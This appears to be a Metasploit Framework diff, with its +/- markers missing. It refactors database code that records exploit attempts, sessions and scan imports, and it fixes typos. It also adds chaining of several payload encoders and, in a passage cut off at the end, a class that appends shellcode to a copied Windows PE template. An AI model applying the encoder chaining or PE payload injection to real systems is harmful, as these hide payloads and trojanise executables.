|
||||
# initialize
|
||||
#
|
||||
|
||||
def initialize(framework, opts = {})
|
||||
|
|
|
@ -95,7 +95,7 @@ module Msf::DBManager::Cred
|
|||
ret = {}
|
||||
|
||||
# Check to see if the creds already exist. We look also for a downcased username with the
|
||||
# same password because we can fairly safely assume they are not in fact two seperate creds.
|
||||
# same password because we can fairly safely assume they are not in fact two separate creds.
|
||||
# this allows us to hedge against duplication of creds in the DB.
|
||||
|
||||
if duplicate_ok
|
||||
|
@ -177,4 +177,4 @@ module Msf::DBManager::Cred
|
|||
|
||||
alias :report_auth :report_auth_info
|
||||
alias :report_cred :report_auth_info
|
||||
end
|
||||
end
|
||||
|
|
|
@ -27,186 +27,152 @@ module Msf::DBManager::ExploitAttempt
|
|||
}
|
||||
end
|
||||
|
||||
# Create an `Mdm::ExploitAttempt` (and possibly an `Mdm::VulnAttempt`, if
|
||||
# the `vuln` option is passed).
|
||||
#
|
||||
# @option (see #do_report_failure_or_success)
|
||||
# @return (see #do_report_failure_or_success)
|
||||
def report_exploit_failure(opts)
|
||||
return unless opts.has_key?(:refs) && !opts[:refs].blank?
|
||||
host = opts[:host] || return
|
||||
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
wspace = opts.delete(:workspace) || workspace
|
||||
mrefs = opts.delete(:refs) || return
|
||||
host = opts.delete(:host)
|
||||
port = opts.delete(:port)
|
||||
prot = opts.delete(:proto)
|
||||
svc = opts.delete(:service)
|
||||
vuln = opts.delete(:vuln)
|
||||
|
||||
timestamp = opts.delete(:timestamp)
|
||||
freason = opts.delete(:fail_reason)
|
||||
fdetail = opts.delete(:fail_detail)
|
||||
username = opts.delete(:username)
|
||||
mname = opts.delete(:module)
|
||||
|
||||
# Look up the host as appropriate
|
||||
if not (host and host.kind_of? ::Mdm::Host)
|
||||
if svc.kind_of? ::Mdm::Service
|
||||
host = svc.host
|
||||
else
|
||||
host = get_host( :workspace => wspace, :address => host )
|
||||
end
|
||||
end
|
||||
|
||||
# Bail if we dont have a host object
|
||||
return if not host
|
||||
wspace = opts[:workspace] || workspace
|
||||
port = opts[:port]
|
||||
prot = opts[:proto] || Msf::DBManager::DEFAULT_SERVICE_PROTO
|
||||
svc = opts[:service]
|
||||
|
||||
# Look up the service as appropriate
|
||||
if port and svc.nil?
|
||||
prot ||= "tcp"
|
||||
svc = get_service(wspace, host, prot, port) if port
|
||||
svc = get_service(wspace, host, prot, port)
|
||||
end
|
||||
|
||||
if not vuln
|
||||
# Create a references map from the module list
|
||||
ref_objs = ::Mdm::Ref.where(:name => mrefs.map { |ref|
|
||||
if ref.respond_to?(:ctx_id) and ref.respond_to?(:ctx_val)
|
||||
"#{ref.ctx_id}-#{ref.ctx_val}"
|
||||
else
|
||||
ref.to_s
|
||||
end
|
||||
})
|
||||
|
||||
# Try find a matching vulnerability
|
||||
vuln = find_vuln_by_refs(ref_objs, host, svc)
|
||||
end
|
||||
|
||||
# Report a vuln_attempt if we found a match
|
||||
if vuln
|
||||
attempt_info = {
|
||||
:attempted_at => timestamp || Time.now.utc,
|
||||
:exploited => false,
|
||||
:fail_reason => freason,
|
||||
:fail_detail => fdetail,
|
||||
:username => username || "unknown",
|
||||
:module => mname
|
||||
}
|
||||
|
||||
vuln.vuln_attempts.create(attempt_info)
|
||||
end
|
||||
|
||||
# Report an exploit attempt all the same
|
||||
attempt_info = {
|
||||
:attempted_at => timestamp || Time.now.utc,
|
||||
:exploited => false,
|
||||
:username => username || "unknown",
|
||||
:module => mname,
|
||||
:fail_reason => freason,
|
||||
:fail_detail => fdetail
|
||||
}
|
||||
|
||||
attempt_info[:vuln_id] = vuln.id if vuln
|
||||
|
||||
if svc
|
||||
attempt_info[:port] = svc.port
|
||||
attempt_info[:proto] = svc.proto
|
||||
end
|
||||
|
||||
if port and svc.nil?
|
||||
attempt_info[:port] = port
|
||||
attempt_info[:proto] = prot || "tcp"
|
||||
end
|
||||
|
||||
host.exploit_attempts.create(attempt_info)
|
||||
}
|
||||
end
|
||||
|
||||
def report_exploit_success(opts)
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
|
||||
wspace = opts.delete(:workspace) || workspace
|
||||
mrefs = opts.delete(:refs) || return
|
||||
host = opts.delete(:host)
|
||||
port = opts.delete(:port)
|
||||
prot = opts.delete(:proto)
|
||||
svc = opts.delete(:service)
|
||||
vuln = opts.delete(:vuln)
|
||||
|
||||
timestamp = opts.delete(:timestamp)
|
||||
username = opts.delete(:username)
|
||||
mname = opts.delete(:module)
|
||||
|
||||
# Look up or generate the host as appropriate
|
||||
if not (host and host.kind_of? ::Mdm::Host)
|
||||
# Look up the host as appropriate
|
||||
if !host || !host.kind_of?(::Mdm::Host)
|
||||
if svc.kind_of? ::Mdm::Service
|
||||
host = svc.host
|
||||
else
|
||||
host = report_host(:workspace => wspace, :address => host )
|
||||
host = get_host(workspace: wspace, address: host)
|
||||
end
|
||||
end
|
||||
|
||||
# Bail if we dont have a host object
|
||||
return if not host
|
||||
|
||||
opts = opts.dup
|
||||
opts[:service] = svc
|
||||
opts[:host] = host
|
||||
|
||||
do_report_failure_or_success(opts)
|
||||
end
|
||||
|
||||
# Create an `Mdm::ExploitAttempt` (and possibly an `Mdm::VulnAttempt`, if
|
||||
# the `vuln` option is passed).
|
||||
#
|
||||
# @return (see #do_report_failure_or_success)
|
||||
def report_exploit_success(opts)
|
||||
return unless opts[:refs]
|
||||
host = opts[:host] || return
|
||||
|
||||
wspace = opts[:workspace] || workspace
|
||||
port = opts[:port]
|
||||
prot = opts[:proto] || Msf::DBManager::DEFAULT_SERVICE_PROTO
|
||||
svc = opts[:service]
|
||||
|
||||
# Look up or generate the service as appropriate
|
||||
if port and svc.nil?
|
||||
svc = report_service(:workspace => wspace, :host => host, :port => port, :proto => prot ) if port
|
||||
# it is rude to modify arguments in place
|
||||
opts = opts.dup
|
||||
opts[:proto] ||= Msf::DBManager::DEFAULT_SERVICE_PROTO
|
||||
opts[:service] = report_service(
|
||||
workspace: wspace, host: host, port: port, proto: prot
|
||||
)
|
||||
end
|
||||
|
||||
if not vuln
|
||||
# Create a references map from the module list
|
||||
ref_objs = ::Mdm::Ref.where(:name => mrefs.map { |ref|
|
||||
if ref.respond_to?(:ctx_id) and ref.respond_to?(:ctx_val)
|
||||
"#{ref.ctx_id}-#{ref.ctx_val}"
|
||||
else
|
||||
ref.to_s
|
||||
end
|
||||
})
|
||||
do_report_failure_or_success(opts)
|
||||
end
|
||||
|
||||
# Try find a matching vulnerability
|
||||
vuln = find_vuln_by_refs(ref_objs, host, svc)
|
||||
end
|
||||
private
|
||||
|
||||
# @option opts [Array<String>, Array<Msf::Module::Reference>] :refs
|
||||
# @option opts [Mdm::Host] :host
|
||||
# @option opts [Mdm::Service] :service
|
||||
# @option opts [Integer] :port (nil)
|
||||
# @option opts ["tcp","udp"] :proto (Msf::DBManager::DEFAULT_SERVICE_PROTO) See `Mdm::Service::PROTOS`
|
||||
# @option opts [Mdm::Vuln] :vuln (nil)
|
||||
# @option opts [Time] :timestamp (nil)
|
||||
# @option opts [Mdm::Vuln] :timestamp (nil)
|
||||
# @option opts [String] :module (nil)
|
||||
# @return [void]
|
||||
def do_report_failure_or_success(opts)
|
||||
return unless opts[:refs]
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
mrefs = opts[:refs]
|
||||
host = opts[:host]
|
||||
port = opts[:port]
|
||||
prot = opts[:proto]
|
||||
svc = opts[:service]
|
||||
vuln = opts[:vuln]
|
||||
|
||||
timestamp = opts[:timestamp]
|
||||
freason = opts[:fail_reason]
|
||||
fdetail = opts[:fail_detail]
|
||||
username = opts[:username]
|
||||
mname = opts[:module]
|
||||
|
||||
if vuln.nil?
|
||||
ref_names = mrefs.map { |ref|
|
||||
if ref.respond_to?(:ctx_id) and ref.respond_to?(:ctx_val)
|
||||
"#{ref.ctx_id}-#{ref.ctx_val}"
|
||||
else
|
||||
ref.to_s
|
||||
end
|
||||
}
|
||||
|
||||
# Create a references map from the module list
|
||||
ref_objs = ::Mdm::Ref.where(name: ref_names)
|
||||
|
||||
# Try find a matching vulnerability
|
||||
vuln = find_vuln_by_refs(ref_objs, host, svc)
|
||||
end
|
||||
|
||||
# We have match, lets create a vuln_attempt record
|
||||
if vuln
|
||||
attempt_info = {
|
||||
:vuln_id => vuln.id,
|
||||
:attempted_at => timestamp || Time.now.utc,
|
||||
:exploited => true,
|
||||
:exploited => (freason.nil? ? true : false),
|
||||
:fail_detail => fdetail,
|
||||
:fail_reason => freason,
|
||||
:module => mname,
|
||||
:username => username || "unknown",
|
||||
:module => mname
|
||||
}
|
||||
|
||||
attempt_info[:session_id] = opts[:session_id] if opts[:session_id]
|
||||
attempt_info[:loot_id] = opts[:loot_id] if opts[:loot_id]
|
||||
|
||||
vuln.vuln_attempts.create(attempt_info)
|
||||
# We have match, lets create a vuln_attempt record
|
||||
if vuln
|
||||
attempt_info[:vuln_id] = vuln.id
|
||||
vuln.vuln_attempts.create(attempt_info)
|
||||
|
||||
# Correct the vuln's associated service if necessary
|
||||
if svc and vuln.service_id.nil?
|
||||
vuln.service = svc
|
||||
vuln.save
|
||||
# Correct the vuln's associated service if necessary
|
||||
if svc and vuln.service_id.nil?
|
||||
vuln.service = svc
|
||||
vuln.save
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Report an exploit attempt all the same
|
||||
attempt_info = {
|
||||
:attempted_at => timestamp || Time.now.utc,
|
||||
:exploited => true,
|
||||
:username => username || "unknown",
|
||||
:module => mname
|
||||
# Report an exploit attempt all the same
|
||||
|
||||
if svc
|
||||
attempt_info[:port] = svc.port
|
||||
attempt_info[:proto] = svc.proto
|
||||
end
|
||||
|
||||
if port and svc.nil?
|
||||
attempt_info[:port] = port
|
||||
attempt_info[:proto] = prot || Msf::DBManager::DEFAULT_SERVICE_PROTO
|
||||
end
|
||||
|
||||
host.exploit_attempts.create(attempt_info)
|
||||
}
|
||||
|
||||
attempt_info[:vuln_id] = vuln.id if vuln
|
||||
attempt_info[:session_id] = opts[:session_id] if opts[:session_id]
|
||||
attempt_info[:loot_id] = opts[:loot_id] if opts[:loot_id]
|
||||
|
||||
if svc
|
||||
attempt_info[:port] = svc.port
|
||||
attempt_info[:proto] = svc.proto
|
||||
end
|
||||
|
||||
if port and svc.nil?
|
||||
attempt_info[:port] = port
|
||||
attempt_info[:proto] = prot || "tcp"
|
||||
end
|
||||
|
||||
host.exploit_attempts.create(attempt_info)
|
||||
}
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -96,8 +96,7 @@ module Msf::DBManager::Host
|
|||
norm_host = host.host
|
||||
elsif host.respond_to?(:session_host)
|
||||
# Then it's an Msf::Session object
|
||||
thost = host.session_host
|
||||
norm_host = thost
|
||||
norm_host = host.session_host
|
||||
end
|
||||
|
||||
# If we got here and don't have a norm_host yet, it could be a
|
||||
|
@ -325,4 +324,4 @@ module Msf::DBManager::Host
|
|||
host
|
||||
}
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -8,7 +8,7 @@ module Msf::DBManager::Import::Libpcap
|
|||
bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : []
|
||||
# seen_hosts is only used for determining when to yield an address. Once we get
|
||||
# some packet analysis going, the values will have all sorts of info. The plan
|
||||
# is to ru through all the packets as a first pass and report host and service,
|
||||
# is to run through all the packets as a first pass and report host and service,
|
||||
# then, once we have everything parsed, we can reconstruct sessions and ngrep
|
||||
# out things like authentication sequences, examine ttl's and window sizes, all
|
||||
# kinds of crazy awesome stuff like that.
|
||||
|
|
|
@ -64,7 +64,7 @@ module Msf::DBManager::Import::MetasploitFramework::Zip
|
|||
end
|
||||
|
||||
# Only report loot if we actually have it.
|
||||
# TODO: Copypasta. Seperate this out.
|
||||
# TODO: Copypasta. Separate this out.
|
||||
if ::File.exists? loot_info[:orig_path]
|
||||
loot_dir = ::File.join(basedir,"loot")
|
||||
loot_file = ::File.split(loot_info[:orig_path]).last
|
||||
|
@ -114,7 +114,7 @@ module Msf::DBManager::Import::MetasploitFramework::Zip
|
|||
task_info[:orig_path].gsub!(/^\./,tmp) if task_info[:orig_path]
|
||||
|
||||
# Only report a task if we actually have it.
|
||||
# TODO: Copypasta. Seperate this out.
|
||||
# TODO: Copypasta. Separate this out.
|
||||
if ::File.exists? task_info[:orig_path]
|
||||
tasks_dir = ::File.join(basedir,"tasks")
|
||||
task_file = ::File.split(task_info[:orig_path]).last
|
||||
|
@ -168,7 +168,7 @@ module Msf::DBManager::Import::MetasploitFramework::Zip
|
|||
# Grab the list of unique basedirs over all entries.
|
||||
@import_filedata[:zip_tmp_subdirs] = @import_filedata[:zip_entry_names].map {|x| ::File.split(x)}.map {|x| x[0]}.uniq.reject {|x| x == "."}
|
||||
|
||||
# mkdir all of the base directores we just pulled out, if they don't
|
||||
# mkdir all of the base directories we just pulled out, if they don't
|
||||
# already exist
|
||||
@import_filedata[:zip_tmp_subdirs].each {|sub|
|
||||
tmp_subdirs = ::File.join(@import_filedata[:zip_tmp],sub)
|
||||
|
|
|
@ -164,9 +164,7 @@ module Msf::DBManager::Import::Nmap
|
|||
data[:host] = hobj || addr
|
||||
data[:info] = extra if not extra.empty?
|
||||
data[:task] = args[:task]
|
||||
if p["name"] != "unknown"
|
||||
data[:name] = p["name"]
|
||||
end
|
||||
data[:name] = p['tunnel'] ? "#{p['tunnel']}/#{p['name'] || 'unknown'}" : p['name']
|
||||
report_service(data)
|
||||
}
|
||||
#Parse the scripts output
|
||||
|
|
|
@ -26,7 +26,7 @@ module Msf::DBManager::Import::Qualys::Asset
|
|||
qid = vuln.elements['QID'].first.to_s
|
||||
vuln_refs[qid] ||= []
|
||||
vuln.elements.each('CVE_ID_LIST/CVE_ID') do |ref|
|
||||
vuln_refs[qid].push('CVE-' + /C..-([0-9\-]{9})/.match(ref.elements['ID'].text.to_s)[1])
|
||||
vuln_refs[qid].push('CVE-' + /C..-([0-9\-]{9,})/.match(ref.elements['ID'].text.to_s)[1])
|
||||
end
|
||||
vuln.elements.each('BUGTRAQ_ID_LIST/BUGTRAQ_ID') do |ref|
|
||||
vuln_refs[qid].push('BID-' + ref.elements['ID'].text.to_s)
|
||||
|
@ -95,4 +95,4 @@ module Msf::DBManager::Import::Qualys::Asset
|
|||
end # host
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -70,7 +70,7 @@ module Msf::DBManager::Import::Qualys::Scan
|
|||
refs.push(ref.elements['ID'].text.to_s)
|
||||
end
|
||||
vuln.elements.each('CVE_ID_LIST/CVE_ID') do |ref|
|
||||
refs.push('CVE-' + /C..-([0-9\-]{9})/.match(ref.elements['ID'].text.to_s)[1])
|
||||
refs.push('CVE-' + /C..-([0-9\-]{9,})/.match(ref.elements['ID'].text.to_s)[1])
|
||||
end
|
||||
vuln.elements.each('BUGTRAQ_ID_LIST/BUGTRAQ_ID') do |ref|
|
||||
refs.push('BID-' + ref.elements['ID'].text.to_s)
|
||||
|
|
|
@ -85,7 +85,7 @@ module Msf::DBManager::Service
|
|||
end
|
||||
=end
|
||||
|
||||
proto = opts[:proto] || 'tcp'
|
||||
proto = opts[:proto] || Msf::DBManager::DEFAULT_SERVICE_PROTO
|
||||
|
||||
service = host.services.where(port: opts[:port].to_i, proto: proto).first_or_initialize
|
||||
opts.each { |k,v|
|
||||
|
@ -126,4 +126,4 @@ module Msf::DBManager::Service
|
|||
wspace.services.includes(:host).where(conditions).order("hosts.address, port")
|
||||
}
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -49,7 +49,7 @@ module Msf::DBManager::Session
|
|||
# Creates an Mdm::Session from Mdm::Host.
|
||||
#
|
||||
# @param opts [Hash{Symbol => Object}] options
|
||||
# @option opts [DateTime, Time] :closed_at The date and time the sesion was
|
||||
# @option opts [DateTime, Time] :closed_at The date and time the session was
|
||||
# closed.
|
||||
# @option opts [String] :close_reason Reason the session was closed.
|
||||
# @option opts [Hash] :datastore {Msf::DataStore#to_h}.
|
||||
|
@ -74,101 +74,71 @@ module Msf::DBManager::Session
|
|||
# @raise [ActiveRecord::RecordInvalid] if session is invalid and cannot be
|
||||
# saved.
|
||||
#
|
||||
# @raise ArgumentError if :host and :session is +nil+
|
||||
# @raise ArgumentError if :host and :session are both +nil+
|
||||
def report_session(opts)
|
||||
return if not active
|
||||
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
if opts[:session]
|
||||
raise ArgumentError.new("Invalid :session, expected Msf::Session") unless opts[:session].kind_of? Msf::Session
|
||||
session = opts[:session]
|
||||
wspace = opts[:workspace] || find_workspace(session.workspace)
|
||||
h_opts = { }
|
||||
h_opts[:host] = normalize_host(session)
|
||||
h_opts[:arch] = session.arch if session.respond_to?(:arch) and session.arch
|
||||
h_opts[:workspace] = wspace
|
||||
host = find_or_create_host(h_opts)
|
||||
sess_data = {
|
||||
:host_id => host.id,
|
||||
:stype => session.type,
|
||||
:desc => session.info,
|
||||
:platform => session.platform,
|
||||
:via_payload => session.via_payload,
|
||||
:via_exploit => session.via_exploit,
|
||||
:routes => [],
|
||||
:datastore => session.exploit_datastore.to_h,
|
||||
:port => session.session_port,
|
||||
:opened_at => Time.now.utc,
|
||||
:last_seen => Time.now.utc,
|
||||
:local_id => session.sid
|
||||
}
|
||||
s = create_mdm_session_from_session(opts)
|
||||
session.db_record = s
|
||||
elsif opts[:host]
|
||||
raise ArgumentError.new("Invalid :host, expected Host object") unless opts[:host].kind_of? ::Mdm::Host
|
||||
host = opts[:host]
|
||||
sess_data = {
|
||||
:host_id => host.id,
|
||||
:stype => opts[:stype],
|
||||
:desc => opts[:desc],
|
||||
:platform => opts[:platform],
|
||||
:via_payload => opts[:via_payload],
|
||||
:via_exploit => opts[:via_exploit],
|
||||
:routes => opts[:routes] || [],
|
||||
:datastore => opts[:datastore],
|
||||
:opened_at => opts[:opened_at],
|
||||
:closed_at => opts[:closed_at],
|
||||
:last_seen => opts[:last_seen] || opts[:closed_at],
|
||||
:close_reason => opts[:close_reason],
|
||||
}
|
||||
s = create_mdm_session_from_host(opts)
|
||||
else
|
||||
raise ArgumentError.new("Missing option :session or :host")
|
||||
end
|
||||
ret = {}
|
||||
|
||||
# Truncate the session data if necessary
|
||||
if sess_data[:desc]
|
||||
sess_data[:desc] = sess_data[:desc][0,255]
|
||||
end
|
||||
wspace = s.workspace
|
||||
|
||||
# In the case of multi handler we cannot yet determine the true
|
||||
# exploit responsible. But we can at least show the parent versus
|
||||
# just the generic handler:
|
||||
if session and session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule']
|
||||
sess_data[:via_exploit] = sess_data[:datastore]['ParentModule']
|
||||
end
|
||||
|
||||
s = ::Mdm::Session.new(sess_data)
|
||||
s.save!
|
||||
|
||||
if session and session.exploit_task and session.exploit_task.record
|
||||
session_task = session.exploit_task.record
|
||||
if session_task.class == Mdm::Task
|
||||
Mdm::TaskSession.create(:task => session_task, :session => s )
|
||||
if session
|
||||
if session.exploit.user_data_is_match?
|
||||
MetasploitDataModels::AutomaticExploitation::MatchResult.create!(
|
||||
match: session.exploit.user_data[:match],
|
||||
match_set: session.exploit.user_data[:match_set],
|
||||
run: session.exploit.user_data[:run],
|
||||
state: 'succeeded',
|
||||
)
|
||||
elsif session.via_exploit
|
||||
# This is a live session, we know the host is vulnerable to something.
|
||||
infer_vuln_from_session(session, wspace)
|
||||
end
|
||||
end
|
||||
|
||||
s
|
||||
}
|
||||
end
|
||||
|
||||
if opts[:session]
|
||||
session.db_record = s
|
||||
end
|
||||
protected
|
||||
|
||||
# If this is a live session, we know the host is vulnerable to something.
|
||||
if opts[:session] and session.via_exploit
|
||||
mod = framework.modules.create(session.via_exploit)
|
||||
# @param session [Msf::Session] A session with a {db_record Msf::Session#db_record}
|
||||
# @param wspace [Mdm::Workspace]
|
||||
# @return [void]
|
||||
def infer_vuln_from_session(session, wspace)
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
s = session.db_record
|
||||
host = s.host
|
||||
|
||||
if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule']
|
||||
mod_fullname = sess_data[:datastore]['ParentModule']
|
||||
mod_name = ::Mdm::Module::Detail.find_by_fullname(mod_fullname).name
|
||||
if session.via_exploit == "exploit/multi/handler" and session.exploit_datastore['ParentModule']
|
||||
mod_fullname = session.exploit_datastore['ParentModule']
|
||||
else
|
||||
mod_name = mod.name
|
||||
mod_fullname = mod.fullname
|
||||
mod_fullname = session.via_exploit
|
||||
end
|
||||
mod_detail = ::Mdm::Module::Detail.find_by_fullname(mod_fullname)
|
||||
if mod_detail.nil?
|
||||
# Then the cache isn't built yet, take the hit for instantiating the
|
||||
# module
|
||||
mod_detail = framework.modules.create(mod_fullname)
|
||||
end
|
||||
mod_name = mod_detail.name
|
||||
|
||||
vuln_info = {
|
||||
:host => host.address,
|
||||
:name => mod_name,
|
||||
:refs => mod.references,
|
||||
:workspace => wspace,
|
||||
:exploited_at => Time.now.utc,
|
||||
:info => "Exploited by #{mod_fullname} to create Session #{s.id}"
|
||||
exploited_at: Time.now.utc,
|
||||
host: host,
|
||||
info: "Exploited by #{mod_fullname} to create Session #{s.id}",
|
||||
name: mod_name,
|
||||
refs: mod_detail.refs.map(&:name),
|
||||
workspace: wspace,
|
||||
}
|
||||
|
||||
port = session.exploit_datastore["RPORT"]
|
||||
|
@ -178,28 +148,105 @@ module Msf::DBManager::Session
|
|||
|
||||
vuln = framework.db.report_vuln(vuln_info)
|
||||
|
||||
if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule']
|
||||
via_exploit = sess_data[:datastore]['ParentModule']
|
||||
else
|
||||
via_exploit = session.via_exploit
|
||||
end
|
||||
attempt_info = {
|
||||
:timestamp => Time.now.utc,
|
||||
:workspace => wspace,
|
||||
:module => via_exploit,
|
||||
:username => session.username,
|
||||
:refs => mod.references,
|
||||
:session_id => s.id,
|
||||
:host => host,
|
||||
:service => service,
|
||||
:vuln => vuln
|
||||
host: host,
|
||||
module: mod_fullname,
|
||||
refs: mod_detail.refs,
|
||||
service: service,
|
||||
session_id: s.id,
|
||||
timestamp: Time.now.utc,
|
||||
username: session.username,
|
||||
vuln: vuln,
|
||||
workspace: wspace,
|
||||
}
|
||||
|
||||
framework.db.report_exploit_success(attempt_info)
|
||||
|
||||
end
|
||||
|
||||
s
|
||||
}
|
||||
vuln
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
def create_mdm_session_from_session(opts)
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
session = opts[:session]
|
||||
raise ArgumentError.new("Invalid :session, expected Msf::Session") unless session.kind_of? Msf::Session
|
||||
|
||||
wspace = opts[:workspace] || find_workspace(session.workspace)
|
||||
h_opts = { }
|
||||
h_opts[:host] = normalize_host(session)
|
||||
h_opts[:arch] = session.arch if session.respond_to?(:arch) and session.arch
|
||||
h_opts[:workspace] = wspace
|
||||
host = find_or_create_host(h_opts)
|
||||
sess_data = {
|
||||
datastore: session.exploit_datastore.to_h,
|
||||
desc: truncate_session_desc(session.info),
|
||||
host_id: host.id,
|
||||
last_seen: Time.now.utc,
|
||||
local_id: session.sid,
|
||||
opened_at: Time.now.utc,
|
||||
platform: session.platform,
|
||||
port: session.session_port,
|
||||
routes: [],
|
||||
stype: session.type,
|
||||
via_exploit: session.via_exploit,
|
||||
via_payload: session.via_payload,
|
||||
}
|
||||
|
||||
# In the case of multi handler we cannot yet determine the true
|
||||
# exploit responsible. But we can at least show the parent versus
|
||||
# just the generic handler:
|
||||
if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule']
|
||||
sess_data[:via_exploit] = sess_data[:datastore]['ParentModule']
|
||||
end
|
||||
|
||||
s = ::Mdm::Session.create!(sess_data)
|
||||
|
||||
if session.exploit_task and session.exploit_task.record
|
||||
session_task = session.exploit_task.record
|
||||
if session_task.class == Mdm::Task
|
||||
Mdm::TaskSession.create(task: session_task, session: s )
|
||||
end
|
||||
end
|
||||
|
||||
s
|
||||
}
|
||||
end
|
||||
|
||||
def create_mdm_session_from_host(opts)
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
host = opts[:host]
|
||||
raise ArgumentError.new("Invalid :host, expected Host object") unless host.kind_of? ::Mdm::Host
|
||||
sess_data = {
|
||||
host_id: host.id,
|
||||
stype: opts[:stype],
|
||||
desc: truncate_session_desc(opts[:desc]),
|
||||
platform: opts[:platform],
|
||||
via_payload: opts[:via_payload],
|
||||
via_exploit: opts[:via_exploit],
|
||||
routes: opts[:routes] || [],
|
||||
datastore: opts[:datastore],
|
||||
opened_at: opts[:opened_at],
|
||||
closed_at: opts[:closed_at],
|
||||
last_seen: opts[:last_seen] || opts[:closed_at],
|
||||
close_reason: opts[:close_reason],
|
||||
}
|
||||
|
||||
|
||||
s = ::Mdm::Session.create!(sess_data)
|
||||
s
|
||||
}
|
||||
end
|
||||
|
||||
# Truncate the session data if necessary
|
||||
#
|
||||
# @param desc [String]
|
||||
# @return [String] +desc+ truncated to the max length of the desc column
|
||||
def truncate_session_desc(desc)
|
||||
# Truncate the session data if necessary
|
||||
if desc
|
||||
desc = desc[0, ::Mdm::Session.columns_hash['desc'].limit]
|
||||
end
|
||||
desc
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -43,8 +43,8 @@ module Msf::DBManager::WMAP
|
|||
}
|
||||
end
|
||||
|
||||
# This method iterates the requests table identifiying possible targets
|
||||
# This method wiil be remove on second phase of db merging.
|
||||
# This method iterates the requests table identifying possible targets
|
||||
# This method will be removed on second phase of db merging.
|
||||
def each_distinct_target(&block)
|
||||
request_distinct_targets.each do |target|
|
||||
block.call(target)
|
||||
|
@ -111,7 +111,7 @@ module Msf::DBManager::WMAP
|
|||
end
|
||||
|
||||
# This method returns a list of all possible targets available in requests
|
||||
# This method wiil be remove on second phase of db merging.
|
||||
# This method will be removed on second phase of db merging.
|
||||
def request_distinct_targets
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
::Mdm::WmapRequest.select('DISTINCT host,address,port,ssl')
|
||||
|
@ -186,4 +186,4 @@ module Msf::DBManager::WMAP
|
|||
::Mdm::WmapTarget.all
|
||||
}
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -49,8 +49,6 @@ class EncodedPayload
|
|||
self.nop_sled = nil
|
||||
self.encoder = nil
|
||||
self.nop = nil
|
||||
self.iterations = reqs['Iterations'].to_i
|
||||
self.iterations = 1 if self.iterations < 1
|
||||
|
||||
# Increase thread priority as necessary. This is done
|
||||
# to ensure that the encoding and sled generation get
|
||||
|
@ -71,8 +69,27 @@ class EncodedPayload
|
|||
# Generate the raw version of the payload first
|
||||
generate_raw() if self.raw.nil?
|
||||
|
||||
# Encode the payload
|
||||
encode()
|
||||
# If encoder is set, it could be an encoders list
|
||||
# The form is "<encoder>:<iteration>, <encoder2>:<iteration>"...
|
||||
if reqs['Encoder']
|
||||
encoder_str = reqs['Encoder']
|
||||
encoder_str.scan(/([^:, ]+):?([^,]+)?/).map do |encoder_opt|
|
||||
reqs['Encoder'] = encoder_opt[0]
|
||||
|
||||
self.iterations = (encoder_opt[1] || reqs['Iterations']).to_i
|
||||
self.iterations = 1 if self.iterations < 1
|
||||
|
||||
# Encode the payload with every encoders in the list
|
||||
encode()
|
||||
# Encoded payload is now the raw payload to be encoded by the next encoder
|
||||
self.raw = self.encoded
|
||||
end
|
||||
else
|
||||
self.iterations = reqs['Iterations'].to_i
|
||||
self.iterations = 1 if self.iterations < 1
|
||||
# No specified encoder, let BadChars or ForceEncode do their job
|
||||
encode()
|
||||
end
|
||||
|
||||
# Build the NOP sled
|
||||
generate_sled()
|
||||
|
@ -110,7 +127,7 @@ class EncodedPayload
|
|||
def encode
|
||||
# If the exploit has bad characters, we need to run the list of encoders
|
||||
# in ranked precedence and try to encode without them.
|
||||
if reqs['BadChars'] or reqs['Encoder'] or reqs['ForceEncode']
|
||||
if reqs['BadChars'].to_s.length > 0 or reqs['Encoder'] or reqs['ForceEncode']
|
||||
encoders = pinst.compatible_encoders
|
||||
|
||||
# Make sure the encoder name from the user has the same String#encoding
|
||||
|
@ -165,7 +182,7 @@ class EncodedPayload
|
|||
next
|
||||
end
|
||||
|
||||
# If the caller explictly requires register preservation, make sure
|
||||
# If the caller explicitly requires register preservation, make sure
|
||||
# that the module in question can handle it. This is mostly used by
|
||||
# the stage encoder path.
|
||||
if (reqs['ForceSaveRegisters'] and
|
||||
|
|
|
@ -99,7 +99,7 @@ class Encoder < Module
|
|||
#
|
||||
NonAlpha = "non_alpha"
|
||||
#
|
||||
# tolower safe ascii - not 'A' - 'Z' (more flexable than nonalpha)
|
||||
# tolower safe ascii - not 'A' - 'Z' (more flexible than nonalpha)
|
||||
#
|
||||
NonUpper = "non_upper"
|
||||
#
|
||||
|
|
|
@ -0,0 +1,51 @@
|
|||
# -*- coding: binary -*-
|
||||
module Msf
|
||||
module Exe
|
||||
|
||||
require 'metasm'
|
||||
require 'msf/core/exe/segment_injector'
|
||||
|
||||
class SegmentAppender < SegmentInjector
|
||||
|
||||
def payload_stub(prefix)
|
||||
# TODO: Implement possibly helpful payload obfuscation
|
||||
asm = "new_entrypoint:\n#{prefix}\n"
|
||||
shellcode = Metasm::Shellcode.assemble(processor, asm)
|
||||
shellcode.encoded + @payload
|
||||
end
|
||||
|
||||
def generate_pe
|
||||
# Copy our Template into a new PE
|
||||
pe_orig = Metasm::PE.decode_file(template)
|
||||
pe = pe_orig.mini_copy
|
||||
|
||||
# Copy the headers and exports
|
||||
pe.mz.encoded = pe_orig.encoded[0, pe_orig.coff_offset-4]
|
||||
